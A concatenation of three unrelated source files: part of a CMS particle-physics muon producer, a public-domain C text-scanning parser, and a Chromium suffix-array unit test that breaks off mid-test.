aMuon.setP4(aMuon.pfCandidateRef()->p4());
if (embedTrack_)
aMuon.embedTrack();
if (embedStandAloneMuon_)
aMuon.embedStandAloneMuon();
if (embedCombinedMuon_)
aMuon.embedCombinedMuon();
// embed the TeV refit track refs (only available for globalMuons)
if (aMuon.isGlobalMuon()) {
if (embedPickyMuon_ && aMuon.isAValidMuonTrack(reco::Muon::Picky))
aMuon.embedPickyMuon();
if (embedTpfmsMuon_ && aMuon.isAValidMuonTrack(reco::Muon::TPFMS))
aMuon.embedTpfmsMuon();
if (embedDytMuon_ && aMuon.isAValidMuonTrack(reco::Muon::DYT))
aMuon.embedDytMuon();
}
// embed best tracks (at the end, so unless forceEmbedBestTrack_ is true we can save some space not embedding them twice)
if (embedBestTrack_)
aMuon.embedMuonBestTrack(forceEmbedBestTrack_);
if (embedTunePBestTrack_)
aMuon.embedTunePMuonBestTrack(forceEmbedBestTrack_);
// store the match to the generated final state muons
if (addGenMatch_) {
for (size_t i = 0, n = genMatches.size(); i < n; ++i) {
reco::GenParticleRef genMuon = (*genMatches[i])[baseRef];
aMuon.addGenParticleRef(genMuon);
}
if (embedGenMatch_)
aMuon.embedGenParticle();
}
if (efficiencyLoader_.enabled()) {
efficiencyLoader_.setEfficiencies(aMuon, muonRef);
}
for (size_t j = 0, nd = deposits.size(); j < nd; ++j) {
if (useParticleFlow_) {
if (deposits[j]->contains(baseRef.id())) {
aMuon.setIsoDeposit(isoDepositLabels_[j].first, (*deposits[j])[baseRef]);
} else if (deposits[j]->contains(muonRef.id())) {
aMuon.setIsoDeposit(isoDepositLabels_[j].first, (*deposits[j])[muonRef]);
} else {
reco::CandidatePtr source = aMuon.pfCandidateRef()->sourceCandidatePtr(0);
aMuon.setIsoDeposit(isoDepositLabels_[j].first, (*deposits[j])[source]);
}
} else {
aMuon.setIsoDeposit(isoDepositLabels_[j].first, (*deposits[j])[muonRef]);
}
}
for (size_t j = 0; j < isolationValues.size(); ++j) {
if (useParticleFlow_) {
if (isolationValues[j]->contains(baseRef.id())) {
aMuon.setIsolation(isolationValueLabels_[j].first, (*isolationValues[j])[baseRef]);
} else if (isolationValues[j]->contains(muonRef.id())) {
aMuon.setIsolation(isolationValueLabels_[j].first, (*isolationValues[j])[muonRef]);
} else {
reco::CandidatePtr source = aMuon.pfCandidateRef()->sourceCandidatePtr(0);
aMuon.setIsolation(isolationValueLabels_[j].first, (*isolationValues[j])[source]);
}
} else {
aMuon.setIsolation(isolationValueLabels_[j].first, (*isolationValues[j])[muonRef]);
}
}
if (resolutionLoader_.enabled()) {
resolutionLoader_.setResolutions(aMuon);
}
}
void PATMuonProducer::setMuonMiniIso(Muon& aMuon, const PackedCandidateCollection* pc) {
pat::PFIsolation miniiso = pat::getMiniPFIsolation(pc,
aMuon.p4(),
miniIsoParams_[0],
miniIsoParams_[1],
miniIsoParams_[2],
miniIsoParams_[3],
miniIsoParams_[4],
miniIsoParams_[5],
miniIsoParams_[6],
miniIsoParams_[7],
miniIsoParams_[8]);
aMuon.setMiniPFIsolation(miniiso);
}
double PATMuonProducer::getRelMiniIsoPUCorrected(const pat::Muon& muon, double rho, const std::vector<double>& area) {
double mindr(miniIsoParams_[0]);
double maxdr(miniIsoParams_[1]);
double kt_scale(miniIsoParams_[2]);
double drcut = pat::miniIsoDr(muon.p4(), mindr, maxdr, kt_scale);
return pat::muonRelMiniIsoPUCorrected(muon.miniPFIsolation(), muon.p4(), drcut, rho, area);
}
double PATMuonProducer::puppiCombinedIsolation(const pat::Muon& muon, const pat::PackedCandidateCollection* pc) {
double dR_threshold = 0.4;
double dR2_threshold = dR_threshold * dR_threshold;
double mix_fraction = 0.5;
enum particleType { CH = 0, NH = 1, PH = 2, OTHER = 100000 };
double val_PuppiWithLep = 0.0;
double val_PuppiWithoutLep = 0.0;
for (const auto& cand : *pc) { //pat::pat::PackedCandidate loop start
const particleType pType =
isChargedHadron(cand.pdgId()) ? CH : isNeutralHadron(cand.pdgId()) ? NH : isPhoton(cand.pdgId()) ? PH : OTHER;
if (pType == OTHER) {
if (cand.pdgId() != 1 && cand.pdgId() != 2 && abs(cand.pdgId()) != 11 && abs(cand.pdgId()) != 13) {
LogTrace("PATMuonProducer") << "candidate with PDGID = " << cand.pdgId()
<< " is not CH/NH/PH/e/mu or 1/2 (and this is removed from isolation calculation)"
<< std::endl;
}
continue;
}
double d_eta = std::abs(cand.eta() - muon.eta());
if (d_eta > dR_threshold)
continue;
double d_phi = std::abs(reco::deltaPhi(cand.phi(), muon.phi()));
if (d_phi > dR_threshold)
continue;
double dR2 = reco::deltaR2(cand, muon);
if (dR2 > dR2_threshold)
continue;
if (pType == CH && dR2 < 0.0001 * 0.0001)
continue;
if (pType == NH && dR2 < 0.01 * 0.01)
continue;
if (pType == PH && dR2 < 0.01 * 0.01)
continue;
val_PuppiWithLep += cand.pt() * cand.puppiWeight();
val_PuppiWithoutLep += cand.pt() * cand.puppiWeightNoLep();
} //pat::pat::PackedCandidate loop end
double reliso_Puppi_withLep = val_PuppiWithLep / muon.pt();
double reliso_Puppi_withoutlep = val_PuppiWithoutLep / muon.pt();
double reliso_Puppi_combined = mix_fraction * reliso_Puppi_withLep + (1.0 - mix_fraction) * reliso_Puppi_withoutlep;
return reliso_Puppi_combined;
}
bool PATMuonProducer::isNeutralHadron(long pdgid) { return std::abs(pdgid) == 130; }
bool PATMuonProducer::isChargedHadron(long pdgid) { return std::abs(pdgid) == 211; }
bool PATMuonProducer::isPhoton(long pdgid) { return pdgid == 22; }
// ParameterSet description for module
void PATMuonProducer::fillDescriptions(edm::ConfigurationDescriptions& descriptions) {
edm::ParameterSetDescription iDesc;
iDesc.setComment("PAT muon producer module");
// input source
iDesc.add<edm::InputTag>("muonSource", edm::InputTag("no default"))->setComment("input collection");
// embedding
iDesc.add<bool>("embedMuonBestTrack", true)->setComment("embed muon best track (global pflow)");
iDesc.add<bool>("embedTunePMuonBestTrack", true)->setComment("embed muon best track (muon only)");
iDesc.add<bool>("forceBestTrackEmbedding", true)
->setComment(
"force embedding separately the best tracks even if they're already embedded e.g. as tracker or global "
"tracks");
iDesc.add<bool>("embedTrack", true)->setComment("embed external track");
iDesc.add<bool>("embedStandAloneMuon", true)->setComment("embed external stand-alone muon");
iDesc.add<bool>("embedCombinedMuon", false)->setComment("embed external combined muon");
iDesc.add<bool>("embedPickyMuon", false)->setComment("embed external picky track");
iDesc.add<bool>("embedTpfmsMuon", false)->setComment("embed external tpfms track");
iDesc.add<bool>("embedDytMuon", false)->setComment("embed external dyt track ");
// embedding of MET muon corrections
iDesc.add<bool>("embedCaloMETMuonCorrs", true)->setComment("whether to add MET muon correction for caloMET or not");
iDesc.add<edm::InputTag>("caloMETMuonCorrs", edm::InputTag("muonMETValueMapProducer", "muCorrData"))
->setComment("source of MET muon corrections for caloMET");
iDesc.add<bool>("embedTcMETMuonCorrs", true)->setComment("whether to add MET muon correction for tcMET or not");
iDesc.add<edm::InputTag>("tcMETMuonCorrs", edm::InputTag("muonTCMETValueMapProducer", "muCorrData"))
->setComment("source of MET muon corrections for tcMET");
// pf specific parameters
iDesc.add<edm::InputTag>("pfMuonSource", edm::InputTag("pfMuons"))->setComment("particle flow input collection");
iDesc.add<bool>("useParticleFlow", false)->setComment("whether to use particle flow or not");
iDesc.add<bool>("embedPFCandidate", false)->setComment("embed external particle flow object");
iDesc.add<bool>("embedPfEcalEnergy", true)->setComment("add ecal energy as reconstructed by PF");
// inverse beta computation
iDesc.add<bool>("addInverseBeta", true)->setComment("add combined inverse beta");
iDesc.add<edm::InputTag>("sourceInverseBeta", edm::InputTag("muons", "combined"))
->setComment("source of inverse beta values");
// MC matching configurables
iDesc.add<bool>("addGenMatch", true)->setComment("add MC matching");
iDesc.add<bool>("embedGenMatch", false)->setComment("embed MC matched MC information");
std::vector<edm::InputTag> emptySourceVector;
iDesc
.addNode(edm::ParameterDescription<edm::InputTag>("genParticleMatch", edm::InputTag(), true) xor
edm::ParameterDescription<std::vector<edm::InputTag>>("genParticleMatch", emptySourceVector, true))
->setComment("input with MC match information");
// mini-iso
iDesc.add<bool>("computeMiniIso", false)->setComment("whether or not to compute and store electron mini-isolation");
iDesc.add<bool>("computePuppiCombinedIso", false)
->setComment("whether or not to compute and store puppi combined isolation");
iDesc.add<edm::InputTag>("pfCandsForMiniIso", edm::InputTag("packedPFCandidates"))
->setComment("collection to use to compute mini-iso");
iDesc.add<std::vector<double>>("miniIsoParams", std::vector<double>())
->setComment("mini-iso parameters to use for muons");
iDesc.add<bool>("addTriggerMatching", false)->setComment("add L1 and HLT matching to offline muon");
pat::helper::KinResolutionsLoader::fillDescription(iDesc);
// IsoDeposit configurables
edm::ParameterSetDescription isoDepositsPSet;
isoDepositsPSet.addOptional<edm::InputTag>("tracker");
isoDepositsPSet.addOptional<edm::InputTag>("ecal");
isoDepositsPSet.addOptional<edm::InputTag>("hcal");
isoDepositsPSet.addOptional<edm::InputTag>("particle");
isoDepositsPSet.addOptional<edm::InputTag>("pfChargedHadrons");
isoDepositsPSet.addOptional<edm::InputTag>("pfChargedAll");
isoDepositsPSet.addOptional<edm::InputTag>("pfPUChargedHadrons");
isoDepositsPSet.addOptional<edm::InputTag>("pfNeutralHadrons");
isoDepositsPSet.addOptional<edm::InputTag>("pfPhotons");
isoDepositsPSet.addOptional<std::vector<edm::InputTag>>("user");
iDesc.addOptional("isoDeposits", isoDepositsPSet);
// isolation values configurables
edm::ParameterSetDescription isolationValuesPSet;
isolationValuesPSet.addOptional<edm::InputTag>("tracker");
isolationValuesPSet.addOptional<edm::InputTag>("ecal");
isolationValuesPSet.addOptional<edm::InputTag>("hcal");
isolationValuesPSet.addOptional<edm::InputTag>("particle");
isolationValuesPSet.addOptional<edm::InputTag>("pfChargedHadrons");
isolationValuesPSet.addOptional<edm::InputTag>("pfChargedAll");
isolationValuesPSet.addOptional<edm::InputTag>("pfPUChargedHadrons");
isolationValuesPSet.addOptional<edm::InputTag>("pfNeutralHadrons");
isolationValuesPSet.addOptional<edm::InputTag>("pfPhotons");
iDesc.addOptional("isolationValues", isolationValuesPSet);
iDesc.ifValue(edm::ParameterDescription<bool>("addPuppiIsolation", false, true),
true >> (edm::ParameterDescription<edm::InputTag>(
"puppiIsolationChargedHadrons",
edm::InputTag("muonPUPPIIsolation", "h+-DR030-ThresholdVeto000-ConeVeto000"),
true) and
edm::ParameterDescription<edm::InputTag>(
"puppiIsolationNeutralHadrons",
edm::InputTag("muonPUPPIIsolation", "h0-DR030-ThresholdVeto000-ConeVeto001"),
true) and
edm::ParameterDescription<edm::InputTag>(
"puppiIsolationPhotons",
edm::InputTag("muonPUPPIIsolation", "gamma-DR030-ThresholdVeto000-ConeVeto001"),
true) and
edm::ParameterDescription<edm::InputTag>(
"puppiNoLeptonsIsolationChargedHadrons",
edm::InputTag("muonPUPPINoLeptonsIsolation", "h+-DR030-ThresholdVeto000-ConeVeto000"),
true) and
edm::ParameterDescription<edm::InputTag>(
"puppiNoLeptonsIsolationNeutralHadrons",
edm::InputTag("muonPUPPINoLeptonsIsolation", "h0-DR030-ThresholdVeto000-ConeVeto001"),
true) and
edm::ParameterDescription<edm::InputTag>(
"puppiNoLeptonsIsolationPhotons",
edm::InputTag("muonPUPPINoLeptonsIsolation", "gamma-DR030-ThresholdVeto000-ConeVeto001"),
true)) or
false >> edm::EmptyGroupDescription());
// Efficiency configurables
edm::ParameterSetDescription efficienciesPSet;
efficienciesPSet.setAllowAnything(); // TODO: the pat helper needs to implement a description.
iDesc.add("efficiencies", efficienciesPSet);
iDesc.add<bool>("addEfficiencies", false);
// Check to see if the user wants to add user data
edm::ParameterSetDescription userDataPSet;
PATUserDataHelper<Muon>::fillDescription(userDataPSet);
iDesc.addOptional("userData", userDataPSet);
edm::ParameterSetDescription isolationPSet;
isolationPSet.setAllowAnything(); // TODO: the pat helper needs to implement a description.
iDesc.add("userIsolation", isolationPSet);
iDesc.add<bool>("embedHighLevelSelection", true)->setComment("embed high level selection");
edm::ParameterSetDescription highLevelPSet;
highLevelPSet.setAllowAnything();
iDesc.addNode(edm::ParameterDescription<edm::InputTag>("beamLineSrc", edm::InputTag(), true))
->setComment("input with high level selection");
iDesc.addNode(edm::ParameterDescription<edm::InputTag>("pvSrc", edm::InputTag(), true))
->setComment("input with high level selection");
//descriptions.add("PATMuonProducer", iDesc);
}
// embed various impact parameters with errors
// embed high level selection
void PATMuonProducer::embedHighLevel(pat::Muon& aMuon,
reco::TrackRef track,
reco::TransientTrack& tt,
reco::Vertex& primaryVertex,
bool primaryVertexIsValid,
reco::BeamSpot& beamspot,
bool beamspotIsValid) {
// Correct to PV
// PV2D
aMuon.setDB(track->dxy(primaryVertex.position()),
track->dxyError(primaryVertex.position(), primaryVertex.covariance()),
pat::Muon::PV2D);
// PV3D
std::pair<bool, Measurement1D> result =
IPTools::signedImpactParameter3D(tt, GlobalVector(track->px(), track->py(), track->pz()), primaryVertex);
double d0_corr = result.second.value();
double d0_err = primaryVertexIsValid ? result.second.error() : -1.0;
aMuon.setDB(d0_corr, d0_err, pat::Muon::PV3D);
// Correct to beam spot
// BS2D
aMuon.setDB(track->dxy(beamspot), track->dxyError(beamspot), pat::Muon::BS2D);
// make a fake vertex out of beam spot
reco::Vertex vBeamspot(beamspot.position(), beamspot.rotatedCovariance3D());
// BS3D
result = IPTools::signedImpactParameter3D(tt, GlobalVector(track->px(), track->py(), track->pz()), vBeamspot);
d0_corr = result.second.value();
d0_err = beamspotIsValid ? result.second.error() : -1.0;
aMuon.setDB(d0_corr, d0_err, pat::Muon::BS3D);
// PVDZ
aMuon.setDB(
track->dz(primaryVertex.position()), std::hypot(track->dzError(), primaryVertex.zError()), pat::Muon::PVDZ);
}
#include "FWCore/Framework/interface/MakerMacros.h"
DEFINE_FWK_MODULE(PATMuonProducer);
|
/*
This parser was written in the distant past by Nick Porcino for the public domain
and is freely available on an as is basis. It is meant for educational
purposes and is not suitable for any particular purpose. No warranty is expressed
or implied. Use at your own risk. Do not operate heavy machinery or governments
while using this code.
*/
#include "TextScanner.h"
#include <math.h>
#include <stdbool.h>
//! @todo replace Assert with custom error reporting mechanism
#include <assert.h>
#define Assert assert
#ifdef _MSC_VER
using std::powf;
#endif
//----------------------------------------------------------------------------
char const* tsScanForQuote(
char const* pCurr, char const* pEnd,
char delim,
bool recognizeEscapes)
{
Assert(pCurr && pEnd && pEnd >= pCurr);
while (pCurr < pEnd) {
if (*pCurr == '\\' && recognizeEscapes) // not handling multicharacter escapes such as \u23AB
++pCurr;
else if (*pCurr == delim)
break;
++pCurr;
}
return pCurr;
}
char const* tsScanForWhiteSpace(
char const* pCurr, char const* pEnd)
{
Assert(pCurr && pEnd && pEnd >= pCurr);
while (pCurr < pEnd && !tsIsWhiteSpace(*pCurr))
++pCurr;
return pCurr+1;
}
char const* tsScanForNonWhiteSpace(
char const* pCurr, char const* pEnd)
{
Assert(pCurr && pEnd && pEnd >= pCurr);
while (pCurr < pEnd && tsIsWhiteSpace(*pCurr))
++pCurr;
return pCurr;
}
char const* tsScanBackwardsForWhiteSpace(
char const* pCurr, char const* pStart)
{
Assert(pCurr && pStart && pStart <= pCurr);
while (pCurr >= pStart && !tsIsWhiteSpace(*pCurr))
--pCurr;
return pCurr;
}
char const* tsScanForTrailingNonWhiteSpace(
char const* pCurr, char const* pEnd)
{
Assert(pCurr && pEnd && pEnd >= pCurr);
while (pCurr < pEnd && tsIsWhiteSpace(*pEnd))
--pEnd;
return pEnd;
}
char const* tsScanForCharacter(
char const* pCurr, char const* pEnd,
char delim)
{
Assert(pCurr && pEnd);
while (pCurr < pEnd && *pCurr != delim)
++pCurr;
return pCurr;
}
char const* tsScanBackwardsForCharacter(
char const* pCurr, char const* pStart,
char delim)
{
Assert(pCurr && pStart && pStart <= pCurr);
while (pCurr >= pStart && *pCurr != delim)
--pCurr;
return pCurr;
}
char const* tsScanForEndOfLine(
char const* pCurr, char const* pEnd)
{
while (pCurr < pEnd)
{
if (*pCurr == '\r')
{
++pCurr;
if (*pCurr == '\n')
++pCurr;
break;
}
if (*pCurr == '\n')
{
++pCurr;
if (*pCurr == '\r')
++pCurr;
break;
}
++pCurr;
}
return pCurr;
}
char const* tsScanForLastCharacterOnLine(
char const* pCurr, char const* pEnd)
{
while (pCurr < pEnd)
{
if (pCurr[1] == '\r' || pCurr[1] == '\n' || pCurr[1] == '\0')
{
break;
}
++pCurr;
}
return pCurr;
}
char const* tsScanForBeginningOfNextLine(
char const* pCurr, char const* pEnd)
{
pCurr = tsScanForEndOfLine(pCurr, pEnd);
return (tsScanForNonWhiteSpace(pCurr, pEnd));
}
char const* tsScanPastCPPComments(
char const* pCurr, char const* pEnd)
{
if (*pCurr == '/')
{
if (pCurr[1] == '/')
{
pCurr = tsScanForEndOfLine(pCurr, pEnd);
}
else if (pCurr[1] == '*')
{
pCurr = &pCurr[2];
while (pCurr < pEnd)
{
if (pCurr[0] == '*' && pCurr[1] == '/')
{
pCurr = &pCurr[2];
break;
}
++pCurr;
}
}
}
return pCurr;
}
char const* tsSkipCommentsAndWhitespace(
char const* curr, char const*const end)
{
bool moved = true;
while (moved)
{
char const* past = tsScanForNonWhiteSpace(curr, end);
curr = past;
past = tsScanPastCPPComments(curr, end);
moved = past != curr;
curr = past;
}
return tsScanForNonWhiteSpace(curr, end);
}
char const* tsGetToken(
char const* pCurr, char const* pEnd,
char delim,
char const** resultStringBegin, uint32_t* stringLength)
{
Assert(pCurr && pEnd);
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
*resultStringBegin = pCurr;
char const* pStringEnd = tsScanForCharacter(pCurr, pEnd, delim);
*stringLength = (uint32_t)(pStringEnd - *resultStringBegin);
return pStringEnd;
}
char const* tsGetTokenWSDelimited(
char const* pCurr, char const* pEnd,
char const** resultStringBegin, uint32_t* stringLength)
{
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
*resultStringBegin = pCurr;
char const* pStringEnd = tsScanForWhiteSpace(pCurr, pEnd);
*stringLength = (uint32_t)(pStringEnd - *resultStringBegin);
return pStringEnd;
}
char const* tsGetTokenAlphaNumeric(
char const* pCurr, char const* pEnd,
char const** resultStringBegin, uint32_t* stringLength)
{
Assert(pCurr && pEnd);
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
*resultStringBegin = pCurr;
*stringLength = 0;
while (pCurr < pEnd)
{
char test = pCurr[0];
if (tsIsWhiteSpace(test))
break;
_Bool accept = ((test == '_') || tsIsNumeric(test) || tsIsAlpha(test));
if (!accept)
break;
++pCurr;
*stringLength += 1;
}
return pCurr;
}
char const* tsGetNameSpacedTokenAlphaNumeric(
char const* pCurr, char const* pEnd,
char namespaceChar,
char const** resultStringBegin, uint32_t* stringLength)
{
Assert(pCurr && pEnd);
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
*resultStringBegin = pCurr;
*stringLength = 0;
while (pCurr < pEnd)
{
char test = pCurr[0];
if (tsIsWhiteSpace(test))
break;
// should pass in a string of acceptable characters, ie "$^_"
_Bool accept = ((test == namespaceChar) || (test == '$') || (test == '^') || (test == '_') || tsIsNumeric(test) || tsIsAlpha(test));
if (!accept)
break;
++pCurr;
*stringLength += 1;
}
return pCurr;
}
char const* tsGetString(
char const* pCurr, char const* pEnd,
bool recognizeEscapes,
char const** resultStringBegin, uint32_t* stringLength)
{
Assert(pCurr && pEnd && pEnd >= pCurr);
pCurr = tsScanForQuote(pCurr, pEnd, '\"', recognizeEscapes);
if (pCurr < pEnd)
{
++pCurr; // skip past quote
*resultStringBegin = pCurr;
pCurr = tsScanForQuote(pCurr, pEnd, '\"', recognizeEscapes);
if (pCurr <= pEnd)
*stringLength = (uint32_t)(pCurr - *resultStringBegin);
else
*stringLength = 0;
++pCurr; // point past closing quote
}
else
*stringLength = 0;
return pCurr;
}
char const* tsGetString2(
char const* pCurr, char const* pEnd,
char delim,
bool recognizeEscapes,
char const** resultStringBegin, uint32_t* stringLength)
{
Assert(pCurr && pEnd && pEnd >= pCurr);
pCurr = tsScanForQuote(pCurr, pEnd, delim, recognizeEscapes);
if (pCurr < pEnd)
{
++pCurr; // skip past quote
*resultStringBegin = pCurr;
pCurr = tsScanForQuote(pCurr, pEnd, delim, recognizeEscapes);
if (pCurr <= pEnd)
*stringLength = (uint32_t)(pCurr - *resultStringBegin);
else
*stringLength = 0;
++pCurr; // point past closing quote
}
else
*stringLength = 0;
return pCurr;
}
// Match pExpect. If pExect is found in the input stream, return pointing
// to the character that follows, otherwise return the start of the input stream
char const* tsExpect(
char const* pCurr, char const*const pEnd,
char const* pExpect)
{
char const* pScan = pCurr;
while (pScan != pEnd && *pScan == *pExpect && *pExpect != '\0') {
++pScan;
++pExpect;
}
return (*pExpect == '\0' ? pScan : pCurr);
}
char const* tsGetInt16(
char const* pCurr, char const* pEnd,
int16_t* result)
{
int32_t longresult;
char const* retval = tsGetInt32(pCurr, pEnd, &longresult);
*result = (int16_t) longresult;
return retval;
}
char const* tsGetInt32(
char const* pCurr, char const* pEnd,
int32_t* result)
{
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
int ret = 0;
_Bool signFlip = false;
if (*pCurr == '+')
{
++pCurr;
}
else if (*pCurr == '-')
{
++pCurr;
signFlip = true;
}
while (pCurr < pEnd)
{
if (!tsIsNumeric(*pCurr))
{
break;
}
ret = ret * 10 + *pCurr - '0';
++pCurr;
}
if (signFlip)
{
ret = -ret;
}
*result = ret;
return pCurr;
}
char const* tsGetUInt32(
char const* pCurr, char const* pEnd,
uint32_t* result)
{
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
uint32_t ret = 0;
while (pCurr < pEnd)
{
if (!tsIsNumeric(*pCurr))
{
break;
}
ret = ret * 10 + *pCurr - '0';
++pCurr;
}
*result = ret;
return pCurr;
}
char const* tsGetFloat(
char const* pCurr, char const* pEnd,
float* result)
{
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
float ret = 0.0f;
_Bool signFlip = false;
if (*pCurr == '+')
{
++pCurr;
}
else if (*pCurr == '-')
{
++pCurr;
signFlip = true;
}
// get integer part
int32_t intPart;
pCurr = tsGetInt32(pCurr, pEnd, &intPart);
ret = (float) intPart;
// get fractional part
if (*pCurr == '.')
{
++pCurr;
float scaler = 0.1f;
while (pCurr < pEnd)
{
if (!tsIsNumeric(*pCurr))
{
break;
}
ret = ret + (float)(*pCurr - '0') * scaler;
++pCurr;
scaler *= 0.1f;
}
}
// get exponent
if (*pCurr == 'e' || *pCurr == 'E')
{
++pCurr;
pCurr = tsGetInt32(pCurr, pEnd, &intPart);
ret *= powf(10.0f, (float) intPart);
}
if (signFlip)
{
ret = -ret;
}
*result = ret;
return pCurr;
}
char const* tsGetHex(
char const* pCurr, char const* pEnd,
uint32_t* result)
{
pCurr = tsScanForNonWhiteSpace(pCurr, pEnd);
int ret = 0;
while (pCurr < pEnd)
{
if (tsIsNumeric(*pCurr))
{
ret = ret * 16 + *pCurr - '0';
}
else if (*pCurr >= 'A' && *pCurr <= 'F')
{
ret = ret * 16 + *pCurr - 'A' + 10;
}
else if (*pCurr >= 'a' && *pCurr <= 'f')
{
ret = ret * 16 + *pCurr - 'a' + 10;
}
else
{
break;
}
++pCurr;
}
*result = ret;
return pCurr;
}
_Bool tsIsIn(const char* testString, char test)
{
for (; *testString != '\0'; ++testString)
if (*testString == test)
return true;
return false;
}
_Bool tsIsWhiteSpace(char test)
{
return (test == 9 || test == ' ' || test == 13 || test == 10);
}
_Bool tsIsNumeric(char test)
{
return (test >= '0' && test <= '9');
}
_Bool tsIsAlpha(char test)
{
return ((test >= 'a' && test <= 'z') || (test >= 'A' && test <= 'Z'));
}
|
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/installer/zucchini/suffix_array.h"
#include <algorithm>
#include <cstddef>
#include <initializer_list>
#include <string>
#include <vector>
#include "testing/gtest/include/gtest/gtest.h"
namespace zucchini {
using ustring = std::basic_string<unsigned char>;
constexpr uint16_t kNumChar = 256;
ustring MakeUnsignedString(const std::string& str) {
return {str.begin(), str.end()};
}
template <class T>
std::vector<T> MakeVector(const std::initializer_list<T>& ilist) {
return {ilist.begin(), ilist.end()};
}
void TestSlPartition(std::initializer_list<Sais::SLType> expected_sl_partition,
std::initializer_list<size_t> expected_lms_indices,
std::string str) {
using SaisImpl = Sais::Implementation<size_t, uint16_t>;
std::vector<Sais::SLType> sl_partition(str.size());
EXPECT_EQ(expected_lms_indices.size(),
SaisImpl::BuildSLPartition(str.begin(), str.size(), kNumChar,
sl_partition.rbegin()));
EXPECT_EQ(MakeVector(expected_sl_partition), sl_partition);
std::vector<size_t> lms_indices(expected_lms_indices.size());
SaisImpl::FindLmsSuffixes(expected_sl_partition, lms_indices.begin());
EXPECT_EQ(MakeVector(expected_lms_indices), lms_indices);
}
TEST(SaisTest, BuildSLPartition) {
TestSlPartition({}, {}, "");
TestSlPartition(
{
Sais::LType,
},
{}, "a");
TestSlPartition(
{
Sais::LType, Sais::LType,
},
{}, "ba");
TestSlPartition(
{
Sais::SType, Sais::LType,
},
{}, "ab");
TestSlPartition(
{
Sais::SType, Sais::SType, Sais::LType,
},
{}, "aab");
TestSlPartition(
{
Sais::LType, Sais::LType, Sais::LType,
},
{}, "bba");
TestSlPartition(
{
Sais::LType, Sais::SType, Sais::LType,
},
{1}, "bab");
TestSlPartition(
{
Sais::LType, Sais::SType, Sais::SType, Sais::LType,
},
{1}, "baab");
TestSlPartition(
{
Sais::LType, // zucchini
Sais::LType, // ucchini
Sais::SType, // cchini
Sais::SType, // chini
Sais::SType, // hini
Sais::SType, // ini
Sais::LType, // ni
Sais::LType, // i
},
{2}, "zucchini");
}
std::vector<size_t> BucketCount(const std::initializer_list<unsigned char> str,
uint16_t max_key) {
using SaisImpl = Sais::Implementation<size_t, uint16_t>;
return SaisImpl::MakeBucketCount(str.begin(), str.size(), max_key);
}
TEST(SaisTest, BucketCount) {
using vec = std::vector<size_t>;
EXPECT_EQ(vec({0, 0, 0, 0}), BucketCount({}, 4));
EXPECT_EQ(vec({1, 0, 0, 0}), BucketCount({0}, 4));
EXPECT_EQ(vec({0, 2, 0, 1}), BucketCount({1, 1, 3}, 4));
}
std::vector<size_t> InducedSortSubstring(ustring str) {
using SaisImpl = Sais::Implementation<size_t, uint16_t>;
std::vector<Sais::SLType> sl_partition(str.size());
size_t lms_count = SaisImpl::BuildSLPartition(
str.begin(), str.size(), kNumChar, sl_partition.rbegin());
std::vector<size_t> lms_indices(lms_count);
SaisImpl::FindLmsSuffixes(sl_partition, lms_indices.begin());
auto buckets = SaisImpl::MakeBucketCount(str.begin(), str.size(), kNumChar);
std::vector<size_t> suffix_array(str.size());
SaisImpl::InducedSort(str, str.size(), sl_partition, lms_indices, buckets,
suffix_array.begin());
return suffix_array;
}
TEST(SaisTest, InducedSortSubstring) {
using vec = std::vector<size_t>;
auto us = MakeUnsignedString;
// L; a$
EXPECT_EQ(vec({0}), InducedSortSubstring(us("a")));
// SL; ab$, b$
EXPECT_EQ(vec({0, 1}), InducedSortSubstring(us("ab")));
// LL; a$, ba$
EXPECT_EQ(vec({1, 0}), InducedSortSubstring(us("ba")));
// SLL; a$, aba$, ba$
EXPECT_EQ(vec({2, 0, 1}), InducedSortSubstring(us("aba")));
// LSL; ab$, b$, ba
EXPECT_EQ(vec({1, 2, 0}), InducedSortSubstring(us("bab")));
// SSL; aab$, ab$, b$
EXPECT_EQ(vec({0, 1, 2}), InducedSortSubstring(us("aab")));
// LSSL; aab$, ab$, b$, ba
EXPECT_EQ(vec({1, 2, 3, 0}), InducedSortSubstring(us("baab")));
}
template <class Algorithm>
void TestSuffixSort(ustring test_str) {
std::vector<size_t> suffix_array =
MakeSuffixArray<Algorithm>(test_str, kNumChar);
EXPECT_EQ(test_str.size(), suffix_array.size());
// Expect that I[] is a permutation of [0, len].
std::vector<size_t> sorted_suffix(suffix_array.begin(), suffix_array.end());
std::sort(sorted_suffix.begin(), sorted_suffix.end());
for (size_t i = 0; i < test_str.size(); ++i)
EXPECT_EQ(i, sorted_suffix[i]);
// Expect that all suffixes are strictly ordered.
auto end = test_str.end();
for (size_t i = 1; i < test_str.size(); ++i) {
auto suf1 = test_str.begin() + suffix_array[i - 1];
auto suf2 = test_str.begin() + suffix_array[i];
bool is_less = std::lexicographical_compare(suf1, end, suf2, end);
EXPECT_TRUE(is_less);
}
}
constexpr const char* test_strs[] = {
"",
"a",
"aa",
"za",
"CACAO",
"aaaaa",
"banana",
"tobeornottobe",
"The quick brown fox jumps over the lazy dog.",
"elephantelephantelephantelephantelephant",
"walawalawashington",
"-------------------------",
"011010011001011010010110011010010",
"3141592653589793238462643383279502884197169399375105",
"\xFF\xFE\xFF\xFE\xFD\x80\x30\x31\x32\x80\x30\xFF\x01\xAB\xCD",
"abccbaabccbaabccbaabccbaabccbaabccbaabccbaabccba",
"0123456789876543210",
"9876543210123456789",
"aababcabcdabcdeabcdefabcdefg",
"asdhklgalksdjghalksdjghalksdjgh",
};
TEST(SuffixSortTest, NaiveSuffixSort) {
for (const std::string& test_str : test_strs) {
TestSuffixSort<NaiveSuffixSort>(MakeUnsignedString(test_str));
}
}
TEST(SuffixSortTest, SaisSort) {
for (const std::string& test_str : test_strs) {
TestSuffixSort<Sais>(MakeUnsignedString(test_str));
}
}
// Test with sequence that has every character.
TEST(SuffixSortTest, AllChar) {
std::vector<unsigned char> all_char(kNumChar);
std::iota(all_char.begin(), all_char.end(), 0);
{
std::vector<size_t> suffix_array =
MakeSuffixArray<Sais>(all_char, kNumChar);
for (size_t i = 0; i < kNumChar; ++i)
EXPECT_EQ(i, suffix_array[i]);
}
